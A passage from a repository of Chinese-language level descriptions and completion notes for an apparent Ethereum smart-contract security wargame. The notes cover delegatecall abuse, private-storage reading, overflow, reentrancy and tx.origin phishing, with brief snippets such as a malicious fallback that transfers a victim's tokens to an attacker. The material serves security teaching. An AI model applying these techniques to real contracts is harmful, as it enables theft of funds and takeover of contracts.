模式的优点是部署的代理非常少。 代理充当存储层,因此实现合同中的任何状态修改通常不会对使用它的系统产生副作用,因为只有逻辑是通过委托调用使用的。 2 | 3 | 这并不意味着您不应该提防如果我们不初始化实施合同就可以利用的漏洞。 4 | 5 | 这是 UUPS 模式发布数月后真正发现的稍微简化的版本。 6 | 7 | 要点:永远不要让实施合同处于未初始化状态 ;) 8 | 9 | 如果您对发生的事情感兴趣,请点击 [此处](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680) 阅读更多内容。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/naughtcoin.md: -------------------------------------------------------------------------------- 1 | NaughtCoin 是一种 ERC20 代币,而且您已经持有这些代币。问题是您只能在 10 年之后才能转移它们。您能尝试将它们转移到另一个地址,以便您可以自由使用它们吗?通过将您的代币余额变为 0 来完成此关卡。 2 | 3 | 4 |   5 | 这可能有用 6 | * [ERC20标准](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) 7 | * [OpenZeppelin仓库](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) 8 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/naughtcoin_complete.md: -------------------------------------------------------------------------------- 1 | 当您使用自己的代码以外的代码时,最好熟悉它以充分了解它们是如何编写在一起的。当有多个层级的导入时(您的导入包含其它导入)或您正在实施授权控制时,这一点尤其重要, 比如当您允许或阻止人们做某事时. 在这个案例中, 开发人员可能会查看代码并认为 transfer 函数是移动Token的唯一方法,但发现还有其他方法可以使用不同的实现来执行相同的操作。 2 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/preservation.md: -------------------------------------------------------------------------------- 1 | 该合约利用库合约保存 2 个不同时区的时间戳。合约的构造函数输入两个库合约地址用于保存不同时区的时间戳。 2 | 3 | 通关条件:尝试取得合约的所有权(`owner`)。 4 | 5 | 可能有帮助的注意点: 6 | 7 | 1. 深入了解 `Solidity` 官网文档中底层方法 `delegatecall` 的工作原理,它如何在链上和库合约中的使用该方法,以及执行的上下文范围。 8 | 2. 理解 `delegatecall` 的上下文保留的含义 9 | 3. 理解合约中的变量是如何存储和访问的 10 | 4. 理解不同类型之间的如何转换 11 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/privacy.md: -------------------------------------------------------------------------------- 1 | 这个合约的制作者非常小心的保护了敏感区域的 storage. 2 | 3 | 解开这个合约来完成这一关. 4 | 5 | 这些可能有帮助: 6 | * 理解 storage 的原理 7 | * 理解 parameter parsing 的原理 8 | * 理解 casting 的原理 9 | 10 | Tips: 11 | * 记住 metamask 只是个普通的工具. 如果它有问题,可以使用别的工具. 进阶的操作应该包括 remix, 或是你自己的 web3 提供者. 12 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/privacy_complete.md: -------------------------------------------------------------------------------- 1 | 在以太坊链上, 没有什么是私有的. private 关键词只是 solidity 中人为规定的一个结构. Web3 的 `getStorageAt(...)` 可以读取 storage 中的任何信息, 虽然有些数据读取的时候会比较麻烦. 因为 一些优化的技术和原则, 这些技术和原则是为了尽可能压缩 storage 使用的空间. 2 | 3 | 这不会比这个关卡中暴露的复杂太多. 更多的信息, 可以参见 "Darius" 写的这篇详细的文章: [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925) 4 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/puzzleWallet.md: -------------------------------------------------------------------------------- 1 | 事实上,如今,为DeFi运营付费是不可能的。 2 | 3 | 一群朋友发现了如何通过在一个交易中批量处理来稍微降低执行多个交易的成本,因此他们开发了一个智能合约来执行此操作。 4 | 5 | 他们需要这个合约是可升级的,以防代码包含错误,他们还想阻止团队外的人使用它。为此,他们投票并分配了两个在系统中具有特殊角色的人: 6 | 管理员:有权更新智能合约的逻辑; 7 | 所有者:控制允许使用合约的地址白名单。 8 | 合同已部署,该组被列入白名单。每个人都为他们对抗邪恶矿工的成就而欢呼。 9 | 10 | 他们几乎不知道,他们的午餐钱处于危险之中…… 11 | 你需要劫持这个钱包才能成为代理的管理员。 12 | 13 |   14 | 可能有帮助的注意点: 15 | * 了解委托调用的工作原理以及执行调用时 msg.sender 和 msg.value 的行为方式。 16 | * 了解代理模式及其处理存储变量的方式。 17 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/puzzleWallet_complete.md: -------------------------------------------------------------------------------- 1 | 下一次,这些朋友会在在合同存入任何资金之前要求进行审计。恭喜! 2 | 3 | 通常,强烈建议使用代理合约以带来可升级特性并降低部署的gas成本。但是,开发人员必须小心不要引入存储冲突,如本题所示。 4 | 5 | 此外,如果处理不正确,多次消耗ETH的操作可能会导致问题。即使使用了ETH,msg.value也将保持不变,因此开发人员必须手动跟踪每次交易的实际剩余金额。 6 | 这也可能在使用multicall时导致问题,因为对一个看起来很安全的函数执行多个委托调用可能会导致不必要的ETH交易,因为委托调用会保留发送给合约的原始msg.value。 7 | 8 | 准备好后进入下一个级别! 9 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/puzzle_wallet.md: -------------------------------------------------------------------------------- 1 | 事实上,如今,为DeFi运营付费是不可能的。 2 | 3 | 一群朋友发现了如何通过在一个交易中批量处理来稍微降低执行多个交易的成本,因此他们开发了一个智能合约来执行此操作。 4 | 5 | 他们需要这个合约是可升级的,以防代码包含错误,他们还想阻止团队外的人使用它。为此,他们投票并分配了两个在系统中具有特殊角色的人: 6 | 管理员:有权更新智能合约的逻辑; 7 | 所有者:控制允许使用合约的地址白名单。 8 | 合同已部署,该组被列入白名单。每个人都为他们对抗邪恶矿工的成就而欢呼。 9 | 10 | 他们几乎不知道,他们的午餐钱处于危险之中…… 11 | 你需要劫持这个钱包,去成为代理的管理员。 12 | 13 |   14 | 可能有帮助的注意点: 15 | * 了解委托调用的工作原理以及执行调用时 msg.sender 和 msg.value 的行为方式。 16 | * 了解代理模式及其处理存储变量的方式。 17 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/puzzle_wallet_complete.md: -------------------------------------------------------------------------------- 1 | 下一次,这些朋友会在在合同存入任何资金之前要求进行审计。恭喜! 2 | 3 | 通常,强烈建议使用代理合约以带来可升级特性并降低部署的gas成本。但是,开发人员必须小心不要引入存储冲突,如本题所示。 4 | 5 | 此外,如果处理不正确,多次消耗ETH的操作可能会导致问题。即使使用了ETH,msg.value也将保持不变,因此开发人员必须手动跟踪每次交易的实际剩余金额。 6 | 这也可能在使用multicall时导致问题,因为对一个看起来很安全的函数执行多个委托调用可能会导致不必要的ETH交易,因为委托调用会保留发送给合约的原始msg.value。 7 | 8 | 准备好后进入下一个级别! 9 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/recovery.md: -------------------------------------------------------------------------------- 1 | 合约创建者构建了一个非常简单的代币工厂合约。 任何人都可以轻松创建新代币。 在部署了一个代币合约后,创建者发送了 `0.001` 以太币以获得更多代币。 后边他们丢失了合约地址。 2 | 3 | 如果您能从丢失的的合约地址中找回(或移除),则顺利通过此关。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/recovery_complete.md: -------------------------------------------------------------------------------- 1 | 2 | 合约地址是确定性的,由 `keccack256(address, nonce)` 计算,其中`address` 是合约的地址(或创建交易的以太坊地址),`nonce` 是衍生合约发起的交易数量 (或交易随机数,用于常规交易)。 3 | 4 | 正因为如此,人们可以将ether发送到一个预先确定的地址(没有私钥),然后在该地址创建一个合约来恢复以太币。 这是一种在不持有私钥的情况下(危险地)存储ether的不直观且有些隐秘的方式。 5 | 6 | Martin Swende 的一篇 [博客文章](http://martin.swende.se/blog/Ethereum_quirks_and_vulns.html) 详细介绍了这方面的潜在用例。 7 | 8 | 如果您要应用此技术,请确保您不会错过nonce,否则您的资金将永远丢失。 9 | 10 | 11 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/reentrancy.md: -------------------------------------------------------------------------------- 1 | 这一关的目标是偷走合约的所有资产. 2 | 3 |   4 | 这些可能有帮助: 5 | * 不可信的合约可以在你意料之外的地方执行代码. 6 | * Fallback methods 7 | * 抛出/恢复 bubbling 8 | * 有的时候攻击一个合约的最好方式是使用另一个合约. 9 | * 查看上方帮助页面, ["Beyond the console"](https://ethernaut.openzeppelin.com/help) 部分 10 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/shop.md: -------------------------------------------------------------------------------- 1 | 您能在商店以低于要求的价格购买到商品吗? 2 | 3 |   4 | 可能有帮助的注意点: 5 | * shop合约预计由买家使用 6 | * 了解view函数的限制 7 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/shop_complete.md: -------------------------------------------------------------------------------- 1 | 合约可以以任何他们想要的方式操纵可看到的其他合约的数据。 2 | 3 | 根据外部和不受信任的合约逻辑更改状态是不安全的。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/stake.md: -------------------------------------------------------------------------------- 1 | 考虑到代币的 1:1 价值,Stake 适合用于质押原生 ETH 和 ERC20 WETH。你能抽干合约吗? 2 | 3 | 要完成这一关,合约状态必须满足以下条件: 4 | 5 | - `Stake` 合约的 ETH 余额必须大于 0。 6 | - `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。 7 | - 你必须是一个质押者。 8 | - 你的质押余额必须为 0。 9 | 10 | 可能有用的东西: 11 | 12 | - [ERC-20](https://github.com/ethereum/ercs/blob/master/ERCS/erc-20.md) 规范。 13 | - [OpenZeppelin 合约](https://github.com/OpenZeppelin/openzeppelin-contracts) -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/stake_complete.md: -------------------------------------------------------------------------------- 1 | 恭喜你,破解了 `Stake` 机器! 2 | 3 | 在对外部合约进行低级调用时,正确验证外部调用返回值以确定调用是否回退非常重要。 4 | 5 | 有关更多信息,请查看 [EEA EthTrust [S] 检查外部调用返回](https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return) 要求,并在与外部 ERC-20 代币交互时始终使用 [SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol)。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/switch.md: -------------------------------------------------------------------------------- 1 | 只要拨动开关即可。 不会那么难吧? 2 | 3 | 这些可能有帮助: 4 | 5 | 了解`CALLDATA`是如何编码的。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/switch_complete.md: -------------------------------------------------------------------------------- 1 | 假设在`CALLDATA`中使用动态类型的位置可能会出错,尤其是在使用硬编码的`CALLDATA`位置时。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/telephone.md: -------------------------------------------------------------------------------- 1 | 获得下面合约来完成这一关 2 | 3 |   4 | 这可能有用 5 | * 参阅帮助页面,在 ["Beyond the console"](https://ethernaut.openzeppelin.com/help) 部分 6 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/telephone_complete.md: -------------------------------------------------------------------------------- 1 | 这个例子比较简单, 混淆 `tx.origin` 和 `msg.sender` 会导致 phishing-style 攻击, 比如[this](https://blog.ethereum.org/2016/06/24/security-alert-smart-contract-wallets-created-in-frontier-are-vulnerable-to-phishing-attacks/). 2 | 3 | 下面描述了一个可能的攻击. 4 | 5 | 1) 使用 `tx.origin` 来决定转移谁的token, 比如. 6 | 7 | ``` 8 | function transfer(address _to, uint _value) { 9 | tokens[tx.origin] -= _value; 10 | tokens[_to] += _value; 11 | } 12 | ``` 13 | 2) 攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如 14 | 15 | ``` 16 | function () payable { 17 | token.transfer(attackerAddress, 10000); 18 | } 19 | ``` 20 | 21 | 3) 在这个情况下, `tx.origin` 是受害者的地址 ( `msg.sender` 是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上. 22 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/token.md: -------------------------------------------------------------------------------- 1 | 这一关的目标是攻破下面这个基础 token 合约 2 | 3 | 你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好 4 | 5 |   6 | 这可能有帮助: 7 | * 什么是 odometer? 8 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/token_complete.md: -------------------------------------------------------------------------------- 1 | Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样: 2 | ``` 3 | if(a + c > a) { 4 | a = a + c; 5 | } 6 | ``` 7 | 8 | 另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用: 9 | ``` 10 | a = a.add(c); 11 | ``` 12 | 如果有溢出, 代码会自动恢复. 13 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/vault.md: -------------------------------------------------------------------------------- 1 | 打开 vault 来通过这一关! 2 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/vault_complete.md: -------------------------------------------------------------------------------- 1 | 请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问. 2 | 3 | 为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/aliencodex.md: -------------------------------------------------------------------------------- 1 | 你揭開了一個 Alien 合約. 宣告你的所有權來完成這一關。 2 | 3 |   4 | 可能會有用的資訊 5 | * 研究陣列是如何在 storage 中運作的 6 | * 研究 [ABI specifications](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html) 7 | * 使用一個非常 `狡詐` 的手段 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | 這一關利用了 EVM 不會去檢驗一個陣列的 ABI-encoded 長度和它真實的 payload。 2 | 3 | 並且它利用了陣列長度的溢出(underflow),透過擴大陣列到整個 `2^256` 的儲存區域. 然後使用使用者就可以更改所有合約的 storage 了. 4 | 5 | 這兩個漏洞都是受到 2017 年的 [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079) 啟發 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/coinflip.md: -------------------------------------------------------------------------------- 1 | 這是一個擲銅板的遊戲。你需要連續地猜對擲出來的結果。為了完成這一關,你需要利用你的超能力,然後連續猜對十次。 2 | 3 |   4 | 可能會有用的資訊 5 | * 查看上面的幫助頁面 ["Beyond the console"](https://ethernaut.openzeppelin.com/help) 章節 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/coinflip_complete.md: -------------------------------------------------------------------------------- 1 | 要用 solidity 去產生隨機數是有點小困難的. 目前還沒有一個簡單的方法可以直接達成,而且你在智能合約中做的所有事情都是公開可見的,包括本地變數和被標記為私有的狀態變數。礦工可以透過控制區塊的雜湊值、時間戳、或是是否包括某個交易,去左右產生出來的隨機數或者其它資料。 2 | 3 | 想要獲得密碼學上的隨機數,你可以使用 [Chainlink VRF](https://docs.chain.link/docs/get-a-random-number),它使用預言機,LINK token,和一個鏈上合約來檢驗這是不是真的是一個隨機數。 4 | 5 | 一些其它的選項包括使用比特幣區塊的標頭(block headers),經過下面幾個驗證過 [BTC Relay](http://btcrelay.org)),[RANDAO](https://github.com/randao/randao),或是 [Oraclize](http://www.oraclize.it/)。 6 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/delegate.md: -------------------------------------------------------------------------------- 1 | 這一關的目標是取得創建實例的所有權。 2 | 3 |   4 | 可能會有用的資訊 5 | * 仔細看 solidity 文件關於 `delegatecall` 的低階函式。它是如何怎麽運行,如何委派操作給鏈上函式函式庫,以及它對執行時期作用範圍的影響 6 | * fallback 方法(method) 7 | * 方法(method)的 ID -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/delegate_complete.md: -------------------------------------------------------------------------------- 1 | 使用 `delegatecall` 是風險蠻高的行為,而且過去的多次攻擊中,它常常是被利用的攻擊向量。如果用了它,你的合約根本是在說「欸欸!看這裡,其它合約/函式函式庫,想要對我的狀態怎麼玩弄都可以喔」。被委派的實例(delegate)對你合約的狀態有完整的權限。`delegatecall` 函式是一個非常強大的工具,但是同時也十分危險,在使用的時候需要非常的小心。 2 | 3 | 4 | 請參見 [The Parity Wallet Hack Explained](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7) 這篇文章,它詳細解釋了當初如何透過這個方法去竊取三千萬美元。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/elevator.md: -------------------------------------------------------------------------------- 1 | 這台電梯會讓你到不了頂樓對吧? 2 | 3 |   4 | 可能會有用的資訊 5 | * 有的時候 Solidity 不是很遵守承諾 6 | * 我們預期這個 `Elevator(電梯)` 合約會被用在一個 `Building(大樓)` 合約裡 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/elevator_complete.md: -------------------------------------------------------------------------------- 1 | 為了防止合約的狀態被修改,你可以在函示的介面(interface)加上 `view` 修飾子。`pure` 修改器也可以防止韓式修改合約的狀態被篡改。 2 | 閱讀 [Solidity's documentation](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) 並瞭解相關的注意事項。 3 | 4 | 這一關的另一個解題方案是實作一個 view 函式,這個函式根據不同的輸入資料回傳不同的結果,但是不更改合約狀態,比如說 `gasleft()`。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/fallback.md: -------------------------------------------------------------------------------- 1 | 仔細看下面的合約程式碼。 2 | 3 | 要通過這關你需要 4 | 1) 獲得這個合約的所有權 5 | 2) 把合約的餘額歸零 6 | 7 |   8 | 可能會有用的資訊 9 | * 如何透過與 ABI 互動發送 ether 10 | * 如何在 ABI 之外發送 ether 11 | * 轉換 wei/ether 單位 (參見 `help()` 指令) 12 | * fallback 方法 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/fallback_complete.md: -------------------------------------------------------------------------------- 1 | 現在你知道了要怎麼把 ether 轉入合約的基本知識,另外還包括了如何使用 fallback 方法。 2 | 3 | 你也學到了 OpenZeppelin 的 Ownable 合約,以及它可以如何用來限制一些方法對有特權的地址的使用 4 | 5 | 如果準備好了,就前往下一關ㄅ! -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/fallout.md: -------------------------------------------------------------------------------- 1 | 獲得下面合約的所有權來完成這一關 2 | 3 |   4 | 可能會有用的資訊 5 | * Solidity、Remix IDE -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/fallout_complete.md: -------------------------------------------------------------------------------- 1 | 這很蠢對吧? 你是不是覺得,真實世界的合約一定更安全,更難以入侵,對不對? 2 | 3 | 餒...其實不一定耶。 4 | 5 | Rubixi 的故事在以太坊生態系中非常有名。 這個公司把名字從 「Dynamic Pyramid」 改成 「Rubixi」 但是不知道怎樣,它們沒有把合約的 constructor 方法也一起更改: 6 | 7 | ``` 8 | contract Rubixi { 9 | address private owner; 10 | function DynamicPyramid() { owner = msg.sender; } 11 | function collectAllFees() { owner.transfer(this.balance) } 12 | ... 13 | ``` 14 | 15 | 這讓攻擊者可以呼叫舊合約的 constructor 然後獲得合約的所有權,然後再偷得一些資產。對啊所以,這些重大錯誤在智能合約的世界是有可能會發生的喔。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/force.md: -------------------------------------------------------------------------------- 1 | 有些合約就是不想要收你的錢錢 `¯\_(ツ)_/¯` 2 | 3 | 這一關的目標是使合約的餘額大於 0 4 | 5 |   6 | 可能會有用的資訊 7 | * fallback 方法 8 | * 有時候攻擊一個合約最好的方法是使用另一個合約 9 | * 閱讀上方的幫助頁面 ["Beyond the console"](https://ethernaut.openzeppelin.com/help) 章節 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/force_complete.md: -------------------------------------------------------------------------------- 1 | 在 Solidity 中,如果一個合約要能夠接收 ether,它的 fallback 方法必須設為 `payable`。 2 | 3 | 然而,並沒有什麽辦法可以阻止攻擊者透過自毀的方式,向合約發送 ether,所以,不要將任何合約邏輯建立在 `address(this).balance == 0` 之上。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/gatekeeper1.md: -------------------------------------------------------------------------------- 1 | 跨越守衛的守衛並且註冊成為參賽者吧。 2 | 3 |   4 | 可能會有用的資訊 5 | * 回憶一下你在 Telephone 和 Token 關卡學到了什麼 6 | * 可以去翻翻 Solidity 文件,更深入的了解一下 `gasleft()` 函式的資訊 (參見 [Units and Global Variables](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) 和 [External Function Calls](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)). -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/gatekeeper1_complete.md: -------------------------------------------------------------------------------- 1 | 做得好!接下來來試著對付第二個守衛... -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/gatekeeper2.md: -------------------------------------------------------------------------------- 1 | 守衛帶來了一些新的挑戰,同樣地,你需要注冊為參賽者才能通過這一關。 2 | 3 |   4 | 可能會有用的資訊 5 | * 回想一下你從上一個守衛那學到了什麽,第一道門是一樣的 6 | * 第二道門的 `assembly` 關鍵字可以讓合約去存取 Solidity 非原生的功能。參見 [Solidity Assembly](http://solidity.readthedocs.io/en/v0.4.23/assembly.html)。在這道門的 `extcodesize` 函式,可以用來得到給定地址的合約程式碼長度,你可以在 [黃皮書](https://ethereum.github.io/yellowpaper/paper.pdf) 的第七章學到更多相關的資訊。 7 | * `^` 字元在第三個門裡是位元運算 (XOR),在這裡是為了應用另一個常見的位元運算手段 (參見 [Solidity cheatsheet](http://solidity.readthedocs.io/en/v0.4.23/miscellaneous.html#cheatsheet))。Coin Flip 關卡也是一個想要破這關很好的參考資料。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/gatekeeper2_complete.md: -------------------------------------------------------------------------------- 1 | 啟程吧!現在你通過了守衛的考驗了,你現在有了加入 [theCyber](https://etherscan.io/address/thecyber.eth#code) 的資格了,這是一個在以太坊主網上的去中心化社群。透過 [reddit](https://www.reddit.com/user/0age) 或 [email](mailto:0age@protonmail.com) 聯絡作者並獲得通關密語,然後在合約 [gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code) 注冊 (注意合約只有 128 個名額)。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | 恭喜!你剛剛完成了教學範例。看一下下面這個你剛剛互動過的 Solidity 程式碼。 2 | 3 | 現在你已經可以挑戰所有的關卡了,勇者,成為神話吧! 4 | 5 | 一路順風 ✧*。٩(ˊᗜˋ*)و✧*。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/king.md: -------------------------------------------------------------------------------- 1 | 2 | 下面的合約是一個很簡單的遊戲:任何發送了高於目前獎品 ether 數量的人將成為新的國王。在這個遊戲中,新的獎拼會支付給被推翻的國王,在這過程中就可以賺到一點 ether。看起來是不是有點像龐氏騙局 (*´∀`)~♥ 3 | 這麽好玩的遊戲,你的目標就是攻破它。 4 | 當你提交實例給關卡時,關卡會重新申明他的王位所有權。如果要通過這一關,你必須要阻止它重獲王位才行 (メ゚Д゚)メ -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/king_complete.md: -------------------------------------------------------------------------------- 1 | 大多數 Ethernaut 的關卡都試著用給你看真實發生的漏洞或者駭入事件(當然是用簡化過的版本)。 2 | 3 | 關於這次的實際案例,詳見: 4 | [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) 5 | 和 6 | [King of the Ether Postmortem](http://www.kingoftheether.com/postmortem.html) -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/naughtcoin.md: -------------------------------------------------------------------------------- 1 | NaughtCoin 是一種 ERC20 代幣,而且你已經持有這些代幣。問題是你只能在等待 10 年的鎖倉期之後才能轉移它們。你能不能嘗試將它們轉移到另一個地址,讓你可以自由地使用它們嗎?要完成這個關卡的話要讓你的帳戶餘額歸零。 2 | 3 |   4 | 可能會有用的資訊 5 | * [ERC20 標準](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) 6 | * [OpenZeppelin 程式庫](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/naughtcoin_complete.md: -------------------------------------------------------------------------------- 1 | 當你用到別人的程式碼的時候,最好還是先瞭解人家的程式碼是怎麼運作的比較好喔。尤其在你的匯入(import)是很多層的時候(你匯入的函式庫有匯入其它函式庫),又或者你在做一些授權控管、驗證的時候(像是讓人有權限/剝奪權限做某些操作),都要特別小心。比如當您允許或阻止人們做某事時. 在這個案例中,開發者在讀函式庫的時候覺得 transfer 函式是轉移代幣的唯一方法,但沒發現其實還有其他方式可以被用來執行相同目的的操作。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/preservation.md: -------------------------------------------------------------------------------- 1 | 此智慧合約利用一個函式庫來儲存兩個不同時區的兩個不同時間。 建構函數會為每個要儲存的時間創建兩個庫實例。 2 | 本關卡的目標是獲得該合約的所有權。 3 | 4 |   5 | 可能會有用的資訊 6 | * 查閱 Solidity 文檔中的有關低階函數 `delegatecall` 的信息,包括其工作原理、如何用於委託操作到鏈上庫以及它對執行範圍的影響。 7 | * 理解 `delegatecall` 保持上下文意味著什麼。 8 | * 理解儲存變數如何儲存和存取。 9 | * 理解不同資料類型之間轉換的工作原理。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/preservation_complete.md: -------------------------------------------------------------------------------- 1 | 正如前一個等級中的 `delegate` 所提到的,使用 `delegatecall` 調用庫可能存在風險。對於具有自己狀態的合約庫來說,這一點尤其重要。這個例子演示了為什麼應該使用 `library` 關鍵字來構建庫,因為它可以防止庫存儲和訪問狀態變量。 2 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/privacy.md: -------------------------------------------------------------------------------- 1 | 這個合約的開發者非常小心的保護了 storage 敏感資料的區域. 2 | 3 | 把這個合約解鎖就可以通關喔! 4 | 5 | 這些可能有幫助: 6 | * 理解 storage 是如何運作的 7 | * 理解 parameter parsing 的原理 8 | * 理解 casting 的原理 9 | 10 | 小技巧: 11 | * 記住 Metamask 只是個基本的日常工具. 如果使用 Metamask 有遇到問題或障礙,可以試試看使用別的工具。在後面比較困難的關卡,應該會用到包括 Remix、Web3 的操作。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/privacy_complete.md: -------------------------------------------------------------------------------- 1 | 在以太坊上,資訊都是公開的,沒有什麽資訊是能夠被隱藏的。`private` 關鍵字只是 solidity 語言中,一個對於變數和函式封裝的的概念。使用 Web3 的 `getStorageAt(...)` 就可以讀取 storage 中的任何資料,雖然讀取有些資料的時候會比較麻煩,這是為了在盡可能壓縮 storage 使用空間的時候, solidity 用到了不少最佳化的技術。 2 | 3 | 但其實也不會比這個關卡中你遇到的問題複雜到哪裡去。更多的訊息,可以參見 Darius 寫的這篇超棒的文章: [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925) -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/reentrancy.md: -------------------------------------------------------------------------------- 1 | 這一關的目標是偷走合約的所有資產。 2 | 3 |   4 | 可能會有用的資訊 5 | * 沒被信任的(untrusted)合約可以在你意料之外的地方執行程式碼 6 | * fallback 方法 7 | * 拋出(throw)/恢復(revert) 的通知 8 | * 有的時候攻擊一個合約的最好方式是使用另一個合約 9 | * 查看上方幫助頁面 ["Beyond the console"](https://ethernaut.openzeppelin.com/help) 章節 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/telephone.md: -------------------------------------------------------------------------------- 1 | 取得下面合約的所有權,來完成這一關。 2 | 3 |   4 | 可能會有用的資訊 5 | * 參閱幫助頁面 ["Beyond the console"](https://ethernaut.openzeppelin.com/help) 章節 -------------------------------------------------------------------------------- /client/src/gamedata/zh_tw/descriptions/levels/telephone_complete.md: -------------------------------------------------------------------------------- 1 | 這個例子比較簡單,如果沒有搞清楚 `tx.origin` 和 `msg.sender` 的差異,可能會導致釣魚攻擊,比說如[這個](https://blog.ethereum.org/2016/06/24/security-alert-smart-contract-wallets-created-in-frontier-are-vulnerable-to-phishing-attacks/). 2 | 3 | 下面描述了一個可能的攻擊。 4 | 5 | 1) 使用 `tx.origin` 來決定轉移誰的代幣,例如: 6 | 7 | ``` 8 | function transfer(address _to, uint _value) { 9 | tokens[tx.origin] -= _value; 10 | tokens[_to] += _value; 11 | } 12 | ``` 13 | 14 | 1) 攻擊者讓受害者轉移轉資產到一個惡意合約,這個惡意合約會呼叫代幣合約的 transfer 函式把受害者的資產轉移到惡意合約,例如: 15 | 16 | ``` 17 | function () payable { 18 | token.transfer(attackerAddress, 10000); 19 | } 20 | ``` 21 | 22 | 3) 在這個情況下,`tx.origin` 